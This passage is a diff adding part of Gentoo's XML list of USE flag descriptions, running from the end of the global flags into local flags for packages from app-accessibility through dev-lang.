+<flag name="symlink"><![CDATA[Force kernel ebuilds to automatically update the /usr/src/linux symlink.]]></flag>
+<flag name="sysvipc"><![CDATA[Support for System V-compatible inter-process communication]]></flag>
+<flag name="szip"><![CDATA[Use the szip compression library]]></flag>
+<flag name="tcltk"><![CDATA[Support for Tcl and/or Tk]]></flag>
+<flag name="tcpd"><![CDATA[Adds support for TCP wrappers]]></flag>
+<flag name="test"><![CDATA[Work around to pull in packages needed to run with FEATURES=maketest / FEATURES=test]]></flag>
+<flag name="tetex"><![CDATA[Adds support for teTeX]]></flag>
+<flag name="theora"><![CDATA[Adds support for the Theora Video Compression Codec]]></flag>
+<flag name="threads"><![CDATA[Adds threads support for various packages. Usually pthreads]]></flag>
+<flag name="tidy"><![CDATA[Adds support for HTML Tidy]]></flag>
+<flag name="tiff"><![CDATA[Adds support for the tiff image format]]></flag>
+<flag name="tokenizer"><![CDATA[Adds support for the PHP file parser]]></flag>
+<flag name="truetype"><![CDATA[Adds support for FreeType and/or FreeType2 fonts]]></flag>
+<flag name="uclibc"><![CDATA[Enable uclibc specific patches and build or link uclibc]]></flag>
+<flag name="unicode"><![CDATA[Adds support for Unicode]]></flag>
+<flag name="usb"><![CDATA[Adds USB support to applications that have optional USB support (e.g. cups)]]></flag>
+<flag name="v4l"><![CDATA[Enables video4linux support]]></flag>
+<flag name="vanilla"><![CDATA[Do not add extra patches which change default behaviour]]></flag>
+<flag name="vcd"><![CDATA[Video CD support]]></flag>
+<flag name="verbose"><![CDATA[effects vary across packages; generally used to enable extra informational output during a build or at runtime]]></flag>
+<flag name="vhosts"><![CDATA[Adds support for installing web-based applications into a virtual-hosting environment]]></flag>
+<flag name="videos"><![CDATA[Tells portage to install optional video files (used in some games)]]></flag>
+<flag name="voodoo3"><![CDATA[Adds support for 3Dfx's Voodoo3 video chipset, else defaults to Voodoo4/5 support if not in USE.]]></flag>
+<flag name="vorbis"><![CDATA[Adds support for the OggVorbis audio codec]]></flag>
+<flag name="wddx"><![CDATA[Adds support for WDDX]]></flag>
+<flag name="wifi"><![CDATA[Enable wireless network functions]]></flag>
+<flag name="win32codecs"><![CDATA[use win32codecs package for dll avi decoding support (wmv and what not)]]></flag>
+<flag name="wmf"><![CDATA[Adds support for the wmf vector image format]]></flag>
+<flag name="wxwindows"><![CDATA[Adds support for wxWindows/wxGTK]]></flag>
+<flag name="xface"><![CDATA[Adds xface support used to allow a small image of xface format to be included in an email via the header 'X-Face'.]]></flag>
+<flag name="xine"><![CDATA[Add support for the XINE movie libraries]]></flag>
+<flag name="xinerama"><![CDATA[Add support for the xinerama X11 extension, which allows you to stretch your display across multiple monitors]]></flag>
+<flag name="xml"><![CDATA[Check/Support flag for XML library (version 1)]]></flag>
+<flag name="xml2"><![CDATA[Check/Support flag for XML library (version 2)]]></flag>
+<flag name="xmlrpc"><![CDATA[Support for xml-rpc library]]></flag>
+<flag name="xmms"><![CDATA[Check/Support for XMMS (X MultiMedia System) player.]]></flag>
+<flag name="xosd"><![CDATA[Sends display using the X On Screen Display library]]></flag>
+<flag name="xpm"><![CDATA[Support for XPM graphics format.]]></flag>
+<flag name="xprint"><![CDATA[Support for xprint, http://www.mozilla.org/projects/xprint/]]></flag>
+<flag name="xsl"><![CDATA[Check/Support flag for XSL library (version 1)]]></flag>
+<flag name="xv"><![CDATA[Adds in optional support for the Xvideo extension (an X API for video playback)]]></flag>
+<flag name="xvid"><![CDATA[Adds support for xvid.org's open-source mpeg-4 codec]]></flag>
+<flag name="yahoo"><![CDATA[Enable Yahoo Messenger IM protocol support]]></flag>
+<flag name="yaz"><![CDATA[Adds in optional support for the Z39.50 Protocol for Information Retrieval (YAZ)]]></flag>
+<flag name="zeo"><![CDATA[Adds support for Zope Enterprise Objects]]></flag>
+<flag name="zlib"><![CDATA[Adds support for zlib (de)compression]]></flag>
+</global>
+<local>
+<category name="app-accessibility">
+<package name="festival">
+<flag name="asterisk"><![CDATA[adds a new command named tts_textasterisk that is required by net-misc/asterisk to communicate with the Festival server]]></flag>
+<flag name="mbrola"><![CDATA[Adds support for mbrola voices]]></flag>
+</package>
+<package name="freetts">
+<flag name="mbrola"><![CDATA[Adds support for mbrola voices]]></flag>
+</package>
+<package name="gnome-speech">
+<flag name="freetts"><![CDATA[Adds support for the freetts speech driver]]></flag>
+</package>
+<package name="gnopernicus">
+<flag name="brltty"><![CDATA[Adds support for braille displays using brltty]]></flag>
+</package>
+</category>
+<category name="app-admin">
+<package name="apg">
+<flag name="cracklib"><![CDATA[Support for cracklib strong password checking]]></flag>
+</package>
+<package name="conky">
+<flag name="metar"><![CDATA[enable weather monitoring using the dev-libs/mdsplib library]]></flag>
+<flag name="seti"><![CDATA[include seti monitoring capabilities if the correct config is edited ~/.conkyrc]]></flag>
+</package>
+<package name="diradm">
+<flag name="automount"><![CDATA[Support for automount data in LDAP]]></flag>
+<flag name="irixpasswd"><![CDATA[Support for storing seperate IRIX passwords]]></flag>
+</package>
+<package name="gnome-system-tools">
+<flag name="nfs"><![CDATA[Adds support for NFS shares]]></flag>
+</package>
+<package name="lcap">
+<flag name="lids"><![CDATA[If you have the Linux Intrusion Detection System]]></flag>
+</package>
+<package name="sdsc-syslog">
+<flag name="beep"><![CDATA[Use beep libraries (net-libs/roadrunner)]]></flag>
+</package>
+<package name="testdisk">
+<flag name="ntfs"><![CDATA[Include the ability to read NTFS filesystems]]></flag>
+<flag name="reiserfs"><![CDATA[include reiserfs reading ability]]></flag>
+</package>
+<package name="torsmo">
+<flag name="seti"><![CDATA[include seti monitoring capabilities if the correct config is edited ~/.torsmorc]]></flag>
+</package>
+<package name="webmin">
+<flag name="webmin-minimal"><![CDATA[Install the minimal webmin distribution]]></flag>
+</package>
+</category>
+<category name="app-arch">
+<package name="pdv">
+<flag name="nomotif"><![CDATA[Disable motif frontend.]]></flag>
+</package>
+</category>
+<category name="app-backup">
+<package name="amanda">
+<flag name="xfs"><![CDATA[Support for backing up raw XFS filesystems using xfsdump]]></flag>
+</package>
+<package name="bacula">
+<flag name="bacula-clientonly"><![CDATA[Disable DB support, and just build a client]]></flag>
+<flag name="bacula-console"><![CDATA[Build console only bits, no gui]]></flag>
+<flag name="bacula-split"><![CDATA[NFC what this does]]></flag>
+<flag name="client-only"><![CDATA[Disable DB support, and just build a client]]></flag>
+<flag name="logrotate"><![CDATA[Install support files for logrotate]]></flag>
+<flag name="logwatch"><![CDATA[Install support files for logwatch]]></flag>
+</package>
+<package name="boxbackup">
+<flag name="client-only"><![CDATA[Disable server support, and just build a client]]></flag>
+</package>
+<package name="dar">
+<flag name="dar32"><![CDATA[Enables --enable-mode=32 option, which replace infinint by 32 bits integers.]]></flag>
+<flag name="dar64"><![CDATA[Enables --enable-mode=64 option, which replace infinint by 64 bits integers.]]></flag>
+</package>
+<package name="kdar">
+<flag name="dar32"><![CDATA[Support libdar32.so to use.]]></flag>
+<flag name="dar64"><![CDATA[Support libdar64.so to use.]]></flag>
+</package>
+<package name="rdiff-backup">
+<flag name="xattr"><![CDATA[if you want extended attributes enabled]]></flag>
+</package>
+</category>
+<category name="app-cdr">
+<package name="cdrdao">
+<flag name="pccts"><![CDATA[Use dev-util/pccts instead of the built-in substitution.]]></flag>
+</package>
+<package name="cdrtools">
+<flag name="on-the-fly-crypt"><![CDATA[On the fly AES encryption for CD-Rs.]]></flag>
+</package>
+<package name="disc-cover">
+<flag name="cdrom"><![CDATA[Enable audio CD support. This is not needed to make www-apps/disc-cover work.]]></flag>
+</package>
+<package name="k3b">
+<flag name="css"><![CDATA[Enables ripping of encrypted dvds]]></flag>
+<flag name="musepack"><![CDATA[Enable support for musepack files]]></flag>
+<flag name="musicbrainz"><![CDATA[Enable support for MusicBrainz audio lookups (musicbrainz.org)]]></flag>
+</package>
+<package name="pxlinux">
+<flag name="gnuplot"><![CDATA[enable gnuplot support]]></flag>
+</package>
+<package name="serpentine">
+<flag name="muine"><![CDATA[Enable Muine support]]></flag>
+</package>
+</category>
+<category name="app-crypt">
+<package name="gnupg">
+<flag name="ecc"><![CDATA[Use elliptic curve cryptosystem patch]]></flag>
+<flag name="idea"><![CDATA[Use the patented IDEA algorithm]]></flag>
+</package>
+<package name="gpgme">
+<flag name="smime"><![CDATA[Add smime support]]></flag>
+</package>
+<package name="gringotts">
+<flag name="suid"><![CDATA[Install the binary suid, acknowledging the usual risks]]></flag>
+</package>
+<package name="johntheripper">
+<flag name="ntlm"><![CDATA[enables john to crack Windows NT/2000 MD4 (case-sensitive) password hashes]]></flag>
+</package>
+</category>
+<category name="app-editors">
+<package name="emacs-cvs">
+<flag name="aqua"><![CDATA[Build Carbon Emacs]]></flag>
+</package>
+<package name="emacs">
+<flag name="aqua"><![CDATA[Build Carbon Emacs]]></flag>
+<flag name="multi-tty"><![CDATA[Add multi-tty support]]></flag>
+<flag name="nosendmail"><![CDATA[If you do not want to install any MTA]]></flag>
+</package>
+<package name="gvim">
+<flag name="aqua"><![CDATA[Include support for the Aqua / Carbon GUI]]></flag>
+<flag name="mzscheme"><![CDATA[Include support for the mzscheme interpreter]]></flag>
+<flag name="netbeans"><![CDATA[Include netbeans integration support]]></flag>
+<flag name="nextaw"><![CDATA[Include support for the neXtaw GUI]]></flag>
+<flag name="termcap-compat"><![CDATA[Use libtermcap-compat rather than ncurses (not generally recommended)]]></flag>
+</package>
+<package name="nano">
+<flag name="justify"><![CDATA[Toggle the justify option ...]]></flag>
+<flag name="nomac"><![CDATA[Turn off mac formatting output]]></flag>
+</package>
+<package name="nvu">
+<flag name="moznoxft"><![CDATA[placeholder until mozilla eclass is modified for nvu]]></flag>
+</package>
+<package name="vim-core">
+<flag name="termcap-compat"><![CDATA[Use libtermcap-compat rather than ncurses (not generally recommended)]]></flag>
+</package>
+<package name="vim">
+<flag name="mzscheme"><![CDATA[Include support for the mzscheme interpreter]]></flag>
+<flag name="termcap-compat"><![CDATA[Use libtermcap-compat rather than ncurses (not generally recommended)]]></flag>
+<flag name="vim-pager"><![CDATA[Install vimpager and vimmanpager links]]></flag>
+<flag name="vim-with-x"><![CDATA[Link console vim against X11 libraries to enable title and clipboard features in xterm]]></flag>
+</package>
+<package name="xemacs">
+<flag name="athena"><![CDATA[Chooses the MIT Athena widget set]]></flag>
+<flag name="dnd"><![CDATA[Enables support for the x11-libs/dnd drag-n-drop library]]></flag>
+</package>
+</category>
+<category name="app-emulation">
+<package name="bochs">
+<flag name="debugger"><![CDATA[Enable the bochs debugger]]></flag>
+</package>
+<package name="emul-linux-ppc-glibc">
+<flag name="nptlonly"><![CDATA[Disables installing the linuxthreads fallback in glibc ebuilds that support building both linuxthreads and nptl.]]></flag>
+</package>
+<package name="emul-linux-x86-glibc">
+<flag name="nptlonly"><![CDATA[Disables installing the linuxthreads fallback in glibc ebuilds that support building both linuxthreads and nptl.]]></flag>
+</package>
+<package name="fuse">
+<flag name="libdsk"><![CDATA[Enable support for the floppy disk emulation library]]></flag>
+</package>
+<package name="gxemul">
+<flag name="cacheemu"><![CDATA[Enables support for cache emulation]]></flag>
+<flag name="delays"><![CDATA[Enables instruction latency/delay emulation]]></flag>
+<flag name="mips16"><![CDATA[Enables MIPS16 instruction support]]></flag>
+</package>
+<package name="mol">
+<flag name="oldworld"><![CDATA[Includes Macintosh's OldWorld support]]></flag>
+<flag name="pci"><![CDATA[Experimental PCI proxy support]]></flag>
+<flag name="sheep"><![CDATA[Support for the sheep net driver]]></flag>
+<flag name="vnc"><![CDATA[Includes vnc support]]></flag>
+</package>
+<package name="pearpc">
+<flag name="jit"><![CDATA[Use the JITC-X86 CPU]]></flag>
+</package>
+<package name="point2play">
+<flag name="emerald"><![CDATA[For people who are in the Transgaming Emerald Club]]></flag>
+</package>
+<package name="qemu-softmmu">
+<flag name="kqemu"><![CDATA[Enables the kernel module acceleration on the x86 cpu]]></flag>
+</package>
+<package name="qemu">
+<flag name="kqemu"><![CDATA[Enables the kernel module acceleration on the x86 cpu]]></flag>
+<flag name="qemu-fast"><![CDATA[Enables the vl/qemu-fast on the x86 cpu]]></flag>
+<flag name="softmmu"><![CDATA[Support for softmmu targets]]></flag>
+</package>
+<package name="vmware-console">
+<flag name="esx"><![CDATA[Enable VMware ESX Server documentation instead of GSX server documentation]]></flag>
+</package>
+<package name="xen">
+<flag name="screen"><![CDATA[Enable support for running domain U consoles in a screen session]]></flag>
+</package>
+</category>
+<category name="app-i18n">
+<package name="anthy-ss">
+<flag name="ucs4"><![CDATA[Enable ucs4 support]]></flag>
+</package>
+<package name="anthy">
+<flag name="ucs4"><![CDATA[Enable ucs4 support]]></flag>
+</package>
+<package name="atokx2">
+<flag name="ext-iiimf"><![CDATA[Link with the system IIIMF, rather than the bundled version]]></flag>
+</package>
+<package name="im-ja">
+<flag name="anthy"><![CDATA[Support for Anthy input method]]></flag>
+<flag name="skk"><![CDATA[Support for SKK input method]]></flag>
+</package>
+<package name="kimera">
+<flag name="anthy"><![CDATA[Support for Anthy input method]]></flag>
+</package>
+<package name="scim-cvs">
+<flag name="immqt"><![CDATA[Enable immodule for Qt support (binary incompatible)]]></flag>
+<flag name="immqt-bc"><![CDATA[Enable immodule for Qt support (binary compatible)]]></flag>
+</package>
+<package name="scim">
+<flag name="immqt"><![CDATA[Enable immodule for Qt support (binary incompatible)]]></flag>
+<flag name="immqt-bc"><![CDATA[Enable immodule for Qt support (binary compatible)]]></flag>
+</package>
+<package name="uim-svn">
+<flag name="dict"><![CDATA[Build uim-dict (a dictionary utility for uim)]]></flag>
+<flag name="eb"><![CDATA[Enable EB support]]></flag>
+<flag name="fep"><![CDATA[Build uim-fep]]></flag>
+<flag name="immqt"><![CDATA[Enable immodule for Qt support]]></flag>
+</package>
+<package name="uim">
+<flag name="immqt"><![CDATA[Enable immodule for Qt support (binary incompatible)]]></flag>
+<flag name="immqt-bc"><![CDATA[Enable immodule for Qt support (binary compatible)]]></flag>
+</package>
+</category>
+<category name="app-laptop">
+<package name="tpctl">
+<flag name="tpctlir"><![CDATA[enable support for thinkpad models 760 and 765]]></flag>
+</package>
+</category>
+<category name="app-misc">
+<package name="bbgallery">
+<flag name="gimp"><![CDATA[Engables support for the gimp via extra libraries]]></flag>
+</package>
+<package name="beagle">
+<flag name="chm"><![CDATA[Enable indexing of MS HTML Help files (.chm)]]></flag>
+<flag name="pdf"><![CDATA[Enable indexing of Portable Document Format files (.pdf)]]></flag>
+<flag name="spreadsheet"><![CDATA[Enable indexing of spreadsheet files via gnumeric]]></flag>
+<flag name="webservices"><![CDATA[Enable the Beagle WebServices interface]]></flag>
+<flag name="wv"><![CDATA[Enable indexing of MS Word documents (.doc)]]></flag>
+</package>
+<package name="booh">
+<flag name="transcode"><![CDATA[Use transcode to extract video thumbnails]]></flag>
+</package>
+<package name="lirc">
+<flag name="streamzap"><![CDATA[add the streamzap driver to lirc]]></flag>
+</package>
+<package name="mc">
+<flag name="7zip"><![CDATA[add support for 7zip archives]]></flag>
+</package>
+<package name="note">
+<flag name="dbm"><![CDATA[add support for dbm backend]]></flag>
+<flag name="general"><![CDATA[add support for ascii flatfile backend]]></flag>
+<flag name="text"><![CDATA[add support for text backend]]></flag>
+</package>
+<package name="pal">
+<flag name="ical"><![CDATA[Add support for converting ical format to pal]]></flag>
+</package>
+<package name="screen">
+<flag name="nethack"><![CDATA[Express error messages in nethack style]]></flag>
+</package>
+<package name="towitoko">
+<flag name="moneyplex"><![CDATA[Makes libtowitoko work for the moneyplex home banking software]]></flag>
+</package>
+<package name="workrave">
+<flag name="distribution"><![CDATA[Enable networking. See http://www.workrave.org/features/]]></flag>
+<flag name="noexercises"><![CDATA[Disable exercises support]]></flag>
+<flag name="noexperimental"><![CDATA[Compile without experimental features]]></flag>
+</package>
+</category>
+<category name="app-mobilephone">
+<package name="gammu">
+<flag name="irda"><![CDATA[Enable infrared support]]></flag>
+</package>
+<package name="gnokii">
+<flag name="irda"><![CDATA[Enable infrared support]]></flag>
+<flag name="sms"><![CDATA[Enable SMS support]]></flag>
+</package>
+<package name="yaps">
+<flag name="capi"><![CDATA[Enable CAPI support]]></flag>
+<flag name="slang"><![CDATA[Enable SLang scripting support]]></flag>
+</package>
+</category>
+<category name="app-office">
+<package name="abiword-plugins">
+<flag name="grammar"><![CDATA[Enable grammar checking via grammar-link]]></flag>
+<flag name="math"><![CDATA[Enable gtkmathview support]]></flag>
+<flag name="pdf"><![CDATA[Enable PDF importer]]></flag>
+<flag name="thesaurus"><![CDATA[Enable thesaurus support]]></flag>
+<flag name="wordperfect"><![CDATA[Enable wordperfect file support via libwpd]]></flag>
+</package>
+<package name="gnucash">
+<flag name="chipcard"><![CDATA[Enable support for chipcard reading and processing.]]></flag>
+<flag name="hbci"><![CDATA[Enable HBCI support, for connecting to some internet banks]]></flag>
+<flag name="quotes"><![CDATA[Enable Online Stock Quote retrieval.]]></flag>
+</package>
+<package name="grisbi">
+<flag name="print"><![CDATA[Enable TeX and printing support]]></flag>
+</package>
+<package name="imposter">
+<flag name="iksemel"><![CDATA[Enable externel iksemel parsing support.]]></flag>
+</package>
+<package name="scribus">
+<flag name="cairo"><![CDATA[Enable cairo support.]]></flag>
+</package>
+<package name="tpp">
+<flag name="figlet"><![CDATA[Installs app-misc/figlet to support the --huge command]]></flag>
+</package>
+</category>
+<category name="app-pda">
+<package name="multisync">
+<flag name="irmc"><![CDATA[Adds support for Mobile Client synchronization via IrDa/IrMC/Bluetooth (eg: SonyEricsson T39/T68i)]]></flag>
+<flag name="kdepim"><![CDATA[Adds support for KDEPIM sync.]]></flag>
+</package>
+<package name="synce-kde">
+<flag name="avantgo"><![CDATA[Adds support for syncing Avantgo accounts.]]></flag>
+</package>
+</category>
+<category name="app-shells">
+<package name="bash">
+<flag name="bashlogger"><![CDATA[Log ALL commands typed into bash; should ONLY be used in restricted environments such as honeypots]]></flag>
+</package>
+<package name="scsh-install-lib">
+<flag name="scsh"><![CDATA[Use a non-FHS directory layout.]]></flag>
+</package>
+<package name="scsh">
+<flag name="scsh"><![CDATA[Use a non-FHS directory layout.]]></flag>
+</package>
+<package name="shish">
+<flag name="diet"><![CDATA[Use dietlibc]]></flag>
+</package>
+<package name="zsh">
+<flag name="cap"><![CDATA[Adds POSIX.1e (formerly POSIX 6) capabilities for zsh]]></flag>
+</package>
+</category>
+<category name="app-text">
+<package name="acroread">
+<flag name="noplugin"><![CDATA[Do not install the acroread browser plugin]]></flag>
+</package>
+<package name="crm114">
+<flag name="mew"><![CDATA[Add support for using the mewdecode mime decoder.]]></flag>
+<flag name="mimencode"><![CDATA[Adds support for using the mimencode mime]]></flag>
+<flag name="normalizemime"><![CDATA[Add support for using the normalizemime]]></flag>
+</package>
+<package name="estraier">
+<flag name="kakasi"><![CDATA[Enable kakasi support for Estraier]]></flag>
+<flag name="mecab"><![CDATA[Enable mecab support for Estraier]]></flag>
+</package>
+<package name="evince">
+<flag name="djvu"><![CDATA[Enable djvu viewer support for Evince]]></flag>
+<flag name="dvi"><![CDATA[Enable the built-in DVI viewer for Evince]]></flag>
+<flag name="nautilus"><![CDATA[Enable the nautilus plugin]]></flag>
+<flag name="t1lib"><![CDATA[Enable the Type-1 fonts for the built-in DVI viewer for Evince]]></flag>
+</package>
+<package name="ghostscript-afpl">
+<flag name="jasper"><![CDATA[Enable support for jpeg2k (jasper)]]></flag>
+</package>
+<package name="namazu">
+<flag name="kakasi"><![CDATA[Enable kakasi support for namazu]]></flag>
+</package>
+<package name="noweb">
+<flag name="icon"><![CDATA[Enable icon language support for noweb]]></flag>
+</package>
+<package name="poppler">
+<flag name="cairo"><![CDATA[Enable the cairo backend for poppler]]></flag>
+</package>
+<package name="sword-modules">
+<flag name="intl"><![CDATA[Enable different languages]]></flag>
+</package>
+<package name="sword">
+<flag name="icu"><![CDATA[Enable icu support for sword]]></flag>
+</package>
+<package name="xpdf">
+<flag name="nodrm"><![CDATA[Disable the drm feature decoder.]]></flag>
+</package>
+</category>
+<category name="app-vim">
+<package name="gentoo-syntax">
+<flag name="ignore-glep31"><![CDATA[Remove GLEP 31 (UTF-8 file encodings) settings]]></flag>
+</package>
+</category>
+<category name="dev-cpp">
+<package name="sptk">
+<flag name="fltk"><![CDATA[Enable FLTK support]]></flag>
+</package>
+</category>
+<category name="dev-db">
+<package name="firebird">
+<flag name="inetd"><![CDATA[If you want inetd version instead of a superserver (daemon)]]></flag>
+</package>
+<package name="hk_classes">
+<flag name="sqlite3"><![CDATA[Enable sqlite3 plugin.]]></flag>
+</package>
+<package name="mysql">
+<flag name="big-tables"><![CDATA[Make tables contain up to 1.844E+19 rows]]></flag>
+<flag name="cluster"><![CDATA[Add support for NDB clustering.]]></flag>
+<flag name="extraengine"><![CDATA[Add support for alternative storage engines.]]></flag>
+<flag name="geometry"><![CDATA[Add support for geometry data.]]></flag>
+<flag name="utf8"><![CDATA[Use UTF8 encoding instead of LATIN1.]]></flag>
+</package>
+<package name="pgcluster">
+<flag name="pg-intdatetime"><![CDATA[Enables --enable-integer-datetimes configure option, which changes PG to use 64-bit integers for timestamp storage.]]></flag>
+</package>
+<package name="postgis">
+<flag name="geos"><![CDATA[Add the GEOS library for exact topological tests.]]></flag>
+<flag name="proj"><![CDATA[Add the Proj library for reprojection features.]]></flag>
+</package>
+<package name="postgresql">
+<flag name="pg-hier"><![CDATA[Enables recursive queries like Oracle's 'CONNECT BY' feature.]]></flag>
+<flag name="pg-intdatetime"><![CDATA[Enables --enable-integer-datetimes configure option, which changes PG to use 64-bit integers for timestamp storage.]]></flag>
+<flag name="pg-vacuumdelay"><![CDATA[Adds in the vacuum inter-page delay feature.]]></flag>
+</package>
+<package name="rekall">
+<flag name="xbase"><![CDATA[Support for the Xbase db family, covering dBase, Clipper, FoxPro, Visual dBase/Objects/FoxPro plus some older products.]]></flag>
+</package>
+<package name="sqlite">
+<flag name="nothreadsafe"><![CDATA[turn off thread safe operation of sqlite]]></flag>
+</package>
+</category>
+<category name="dev-games">
+<package name="cegui">
+<flag name="devil"><![CDATA[image loading support with DevIL]]></flag>
+<flag name="xerces-c"><![CDATA[use external Xerces-C++ XML parser instead of tiny embedded XML parser]]></flag>
+</package>
+<package name="clanlib">
+<flag name="clanJavaScript"><![CDATA[Enables javascript support in clanlib]]></flag>
+<flag name="clanVoice"><![CDATA[Enables voice support in clanlib]]></flag>
+</package>
+<package name="crystalspace-cvs">
+<flag name="3ds"><![CDATA[Enables support for .3DS files in CrystalSpace]]></flag>
+</package>
+<package name="crystalspace">
+<flag name="3ds"><![CDATA[Enables support for .3DS files in CrystalSpace]]></flag>
+</package>
+<package name="guichan">
+<flag name="allegro"><![CDATA[Build the Allegro frontend]]></flag>
+</package>
+<package name="ode">
+<flag name="double-precision"><![CDATA[more precise calculations at the expense of speed]]></flag>
+</package>
+<package name="ogre">
+<flag name="cegui"><![CDATA[build the cegui samples]]></flag>
+<flag name="cg"><![CDATA[nvidia toolkit plugin]]></flag>
+<flag name="devil"><![CDATA[image loading support with DevIL]]></flag>
+<flag name="double-precision"><![CDATA[more precise calculations at the expense of speed]]></flag>
+<flag name="openexr"><![CDATA[support for the openexr file format]]></flag>
+</package>
+</category>
+<category name="dev-haskell">
+<package name="gtk2hs">
+<flag name="firefox"><![CDATA[Build the Mozilla Embeded Component against firefox rather than mozilla]]></flag>
+<flag name="glade"><![CDATA[Enable libglade bindings compilation]]></flag>
+</package>
+</category>
+<category name="dev-java">
+<package name="ant-tasks">
+<flag name="javamail"><![CDATA[Enable JavaMail Ant task]]></flag>
+<flag name="noantlr"><![CDATA[Disable ANTLR Ant task -- Warning: Enabling this could break some of the Java packages!!]]></flag>
+<flag name="nobcel"><![CDATA[Disable bcel Ant task -- Warning: Enabling this could break some of the Java packages!!]]></flag>
+<flag name="nobeanutils"><![CDATA[Disable beanutils Ant task -- Warning: Enabling this could break some of the Java packages!!]]></flag>
+<flag name="nobsf"><![CDATA[Disable bsf Ant task -- Warning: Enabling this could break some of the Java packages!!]]></flag>
+<flag name="nobsh"><![CDATA[Disable bsh Ant task -- Warning: Enabling this could break some of the Java packages!!]]></flag>
+<flag name="nocommonslogging"><![CDATA[Disable commons-logging Ant task -- Warning: Enabling this could break some of the Java packages!!]]></flag>
+<flag name="nocommonsnet"><![CDATA[Disable commons-net Ant task -- Warning: Enabling this could break some of the Java packages!!]]></flag>
+<flag name="nojdepend"><![CDATA[Disable Jdepend Ant task -- Warning: Enabling this could break some of the Java packages!!]]></flag>
+<flag name="nojsch"><![CDATA[Disable Jsch Ant task -- Warning: Enabling this could break some of the Java packages!!]]></flag>
+<flag name="nojython"><![CDATA[Disable Jython Ant task -- Warning: Enabling this could break some of the Java packages!!]]></flag>
+<flag name="nolog4j"><![CDATA[Disable Apache log4j Ant task -- Warning: Enabling this could break some of the Java packages!!]]></flag>
+<flag name="nooro"><![CDATA[Disable Oro Ant task -- Warning: Enabling this could break some of the Java packages!!]]></flag>
+<flag name="noregexp"><![CDATA[Disable Apache Regexp Ant task -- Warning: Enabling this could break some of the Java packages!!]]></flag>
+<flag name="norhino"><![CDATA[Disable Rhin Ant task -- Warning: Enabling this could break some of the Java packages!!]]></flag>
+<flag name="noxalan"><![CDATA[Disable Xalan Ant task -- Warning: Enabling this could break some of the Java packages!!]]></flag>
+<flag name="noxerces"><![CDATA[Disable Xerces Ant task -- Warning: Enabling this could break some of the Java packages!!]]></flag>
+</package>
+<package name="avalon-logkit">
+<flag name="javamail"><![CDATA[Enable support for javamail]]></flag>
+<flag name="jms"><![CDATA[Enable support for JMS (Java Message Service)]]></flag>
+</package>
+<package name="blackdown-jdk">
+<flag name="browserplugin"><![CDATA[Install netscape-compatible plugin (DEPRECATED, use global useflag 'nsplugin')]]></flag>
+</package>
+<package name="blackdown-jre">
+<flag name="browserplugin"><![CDATA[Install netscape-compatible plugin (DEPRECATED, use global useflag 'nsplugin')]]></flag>
+</package>
+<package name="bsf">
+<flag name="jython"><![CDATA[Enable Jython support]]></flag>
+<flag name="rhino"><![CDATA[Enable Rhino support]]></flag>
+</package>
+<package name="commons-logging">
+<flag name="avalon"><![CDATA[Add optional support for the avalon-framework]]></flag>
+</package>
+<package name="fop">
+<flag name="jai"><![CDATA[Enable jai support]]></flag>
+<flag name="jimi"><![CDATA[Enable jimi support]]></flag>
+</package>
+<package name="gnu-classpath">
+<flag name="cairo"><![CDATA[Compile classpath gtk-peer with support for cairo]]></flag>
+<flag name="dssi"><![CDATA[Enable the DSSI midi synthesizer provider]]></flag>
+</package>
+<package name="hibernate">
+<flag name="c3p0"><![CDATA[Enable c3p0 support]]></flag>
+<flag name="dbcp"><![CDATA[Enable Database Connection Pooling support]]></flag>
+<flag name="jboss"><![CDATA[Enable JBoss support]]></flag>
+<flag name="jcs"><![CDATA[Java Cache Support]]></flag>
+<flag name="oscache"><![CDATA[Enable OSCache support]]></flag>
+<flag name="proxool"><![CDATA[Enable Proxool support]]></flag>
+<flag name="swarmcache"><![CDATA[Enable SwarmCache support]]></flag>
+</package>
+<package name="ibm-jdk-bin">
+<flag name="browserplugin"><![CDATA[Install netscape-compatible plugin (DEPRECATED, use global useflag 'nsplugin')]]></flag>
+<flag name="javacomm"><![CDATA[Enable Java Communications API support]]></flag>
+</package>
+<package name="ibm-jre-bin">
+<flag name="browserplugin"><![CDATA[Install netscape-compatible plugin (DEPRECATED, use global useflag 'nsplugin')]]></flag>
+</package>
+<package name="jdbc-mysql">
+<flag name="c3p0"><![CDATA[Enable c3p0 support]]></flag>
+<flag name="log4j"><![CDATA[Enable log4 support]]></flag>
+</package>
+<package name="log4j">
+<flag name="javamail"><![CDATA[Build the SMTPAppender]]></flag>
+<flag name="jms"><![CDATA[Build the JMSAppender]]></flag>
+<flag name="jmx"><![CDATA[Build org.apace.log4j.jmx]]></flag>
+</package>
+<package name="quartz">
+<flag name="dbcp"><![CDATA[Enable dbcp support]]></flag>
+<flag name="jboss"><![CDATA[Enable JBoss support]]></flag>
+<flag name="jmx"><![CDATA[Enable jmx support]]></flag>
+<flag name="jta"><![CDATA[Enable jta support]]></flag>
+<flag name="servlet-2.3"><![CDATA[Enable servlet-2.3 support]]></flag>
+<flag name="servlet-2.4"><![CDATA[Enable servlet-2.4 support]]></flag>
+<flag name="struts"><![CDATA[Enable struts support]]></flag>
+</package>
+<package name="sun-jdk">
+<flag name="browserplugin"><![CDATA[Install netscape-compatible plugin (DEPRECATED, use global useflag 'nsplugin')]]></flag>
+<flag name="jce"><![CDATA[Enable Java Cryptographic Extension Unlimited Strength Policy files]]></flag>
+</package>
+<package name="sun-jre-bin">
+<flag name="browserplugin"><![CDATA[Install netscape-compatible plugin (DEPRECATED, use global useflag 'nsplugin')]]></flag>
+</package>
+<package name="swt">
+<flag name="cairo"><![CDATA[Enable Cairo rendering backend]]></flag>
+<flag name="firefox"><![CDATA[Build the Mozilla Embeded Component against firefox rather than mozilla]]></flag>
+</package>
+<package name="velocity">
+<flag name="j2ee"><![CDATA[Add j2ee support]]></flag>
+</package>
+</category>
+<category name="dev-lang">
+<package name="mono">
+<flag name="icu"><![CDATA[Enable internationalization support via ICU lib.]]></flag>
+</package>
+<package name="ocaml">
+<flag name="latex"><![CDATA[Add ocamldoc support for latex]]></flag>
+</package>
+<package name="perl">
+<flag name="ithreads"><![CDATA[Enable Perl threads, has some compatibility problems]]></flag>
+<flag name="perlsuid"><![CDATA[Enable Perl SUID install. Has some risks associated.]]></flag>
+</package>
+<package name="php">
+<flag name="cgi"><![CDATA[Enable CGI SAPI]]></flag>
+<flag name="cli"><![CDATA[Enable CLI SAPI]]></flag>
+<flag name="discard-path"><![CDATA[Switch on common security setting for CGI SAPI]]></flag>
+<flag name="fastbuild"><![CDATA[Build PHP quicker (experimental)]]></flag>
